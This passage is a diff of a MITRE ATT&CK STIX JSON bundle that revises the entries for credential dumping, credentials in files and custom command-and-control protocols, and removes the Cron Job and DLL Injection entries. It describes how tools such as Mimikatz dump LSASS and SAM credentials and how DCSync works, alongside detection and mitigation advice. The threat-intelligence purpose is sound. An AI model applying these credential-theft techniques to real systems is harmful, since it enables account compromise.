(LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller.  Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data  (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2685,6 +2649,51 @@
                     "source_name": "GitHub Mimikatz lsadump Module",
                     "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                     "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+                },
+                {
+                    "source_name": "Microsoft DRSR Dec 2017",
+                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
+                },
+                {
+                    "source_name": "Microsoft GetNCCChanges",
+                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
+                },
+                {
+                    "source_name": "Samba DRSUAPI",
+                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
+                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
+                },
+                {
+                    "source_name": "Wine API samlib.dll",
+                    "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
+                    "url": "https://source.winehq.org/WineAPI/samlib.html"
+                },
+                {
+                    "source_name": "InsiderThreat ChangeNTLM July 2017",
+                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+                },
+                {
+                    "source_name": "Microsoft NRPC Dec 2017",
+                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
+                },
+                {
+                    "source_name": "AdSecurity DCSync Sept 2015",
+                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+                    "url": "https://adsecurity.org/?p=1729"
+                },
+                {
+                    "source_name": "Harmj0y DCSync Sept 2015",
+                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+                },
+                {
+                    "source_name": "Microsoft SAMR",
+                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                 }
             ],
             "object_marking_refs": [
@@ -2704,26 +2713,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credentials in Files Mitigation",
             "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
             "external_references": [
@@ -2744,9 +2742,9 @@
             "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:02.188Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credentials in Files",
-            "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
+            "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2777,110 +2775,26 @@
                 "File monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Access to files"
             ]
         },
-        {
-            "type": "course-of-action",
-            "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Cron Job Mitigation",
-            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks.  Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.",
-            "external_references": [
-                {
-                    "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
-                    "external_id": "T1168"
-                }
-            ]
-        },
-        {
-            "type": "attack-pattern",
-            "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Cron Job",
-            "description": "Per Apple\u2019s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron (Citation: AppleDocs Scheduling Timed Jobs).\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values  (Citation: AppleDocs Scheduling Timed Jobs). This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> while per-user cron jobs are installed using crontab with specifically formatted crontab files  (Citation: AppleDocs Scheduling Timed Jobs). This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X), to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator",
-            "kill_chain_phases": [
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "persistence"
-                }
-            ],
-            "external_references": [
-                {
-                    "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
-                    "external_id": "T1168"
-                },
-                {
-                    "source_name": "AppleDocs Scheduling Timed Jobs",
-                    "description": "Apple. (n.d.).  Retrieved July 17, 2017.",
-                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html"
-                },
-                {
-                    "source_name": "Janicab",
-                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
-                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
-                },
-                {
-                    "source_name": "Methods of Mac Malware Persistence",
-                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
-                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
-                },
-                {
-                    "source_name": "Malware Persistence on OS X",
-                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
-                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
-                }
-            ],
-            "object_marking_refs": [
-                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
-            ],
-            "x_mitre_data_sources": [
-                "File monitoring",
-                "Process Monitoring"
-            ],
-            "x_mitre_platforms": [
-                "Linux",
-                "MacOS"
-            ],
-            "x_mitre_permissions_required": [
-                "Administrator"
-            ]
-        },
         {
             "type": "course-of-action",
             "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Command and Control Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -2901,9 +2815,9 @@
             "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:10.314Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Command and Control Protocol",
-            "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2933,29 +2847,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Cryptographic Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -2976,9 +2878,9 @@
             "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:31.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Cryptographic Protocol",
-            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3019,156 +2921,30 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ]
-        },
-        {
-            "type": "course-of-action",
-            "id": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "DLL Injection Mitigation",
-            "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. \n\nIdentify or block potentially malicious software that may contain DLL injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
-            "external_references": [
-                {
-                    "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
-                    "external_id": "T1055"
-                },
-                {
-                    "source_name": "Beechey 2010",
-                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
-                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
-                },
-                {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
-                },
-                {
-                    "source_name": "NSA MS AppLocker",
-                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
-                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
-                },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
-                {
-                    "source_name": "TechNet Applocker vs SRP",
-                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
-                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
-                }
-            ]
-        },
-        {
-            "type": "attack-pattern",
-            "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-05-31T21:30:47.843Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "DLL Injection",
-            "description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading. (Citation: CodeProject Inject Code) (Citation: Wikipedia DLL Injection)\n\nDetection: Monitoring API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique.\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM",
-            "kill_chain_phases": [
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "defense-evasion"
-                },
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "privilege-escalation"
-                }
-            ],
-            "external_references": [
-                {
-                    "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
-                    "external_id": "T1055"
-                },
-                {
-                    "source_name": "CodeProject Inject Code",
-                    "description": "Kuster, R. (2003, August 20). Three Ways to Inject Your Code into Another Process. Retrieved November 12, 2014.",
-                    "url": "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces"
-                },
-                {
-                    "source_name": "Wikipedia DLL Injection",
-                    "description": "DLL injection. (n.d.).  Retrieved November 12, 2014.",
-                    "url": "http://en.wikipedia.org/wiki/DLL%20injection"
-                },
-                {
-                    "source_name": "Powersploit",
-                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
-                    "url": "https://github.com/mattifestation/PowerSploit"
-                }
-            ],
-            "object_marking_refs": [
-                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
-            ],
-            "x_mitre_data_sources": [
-                "API monitoring",
-                "Windows Registry",
-                "File monitoring",
-                "Process monitoring"
-            ],
-            "x_mitre_defense_bypassed": [
-                "Process whitelisting",
-                "Anti-virus"
-            ],
-            "x_mitre_effective_permissions": [
-                "User",
-                "Administrator",
-                "SYSTEM"
-            ],
-            "x_mitre_permissions_required": [
-                "User",
-                "Administrator",
-                "SYSTEM"
-            ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Search Order Hijacking Mitigation",
-            "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
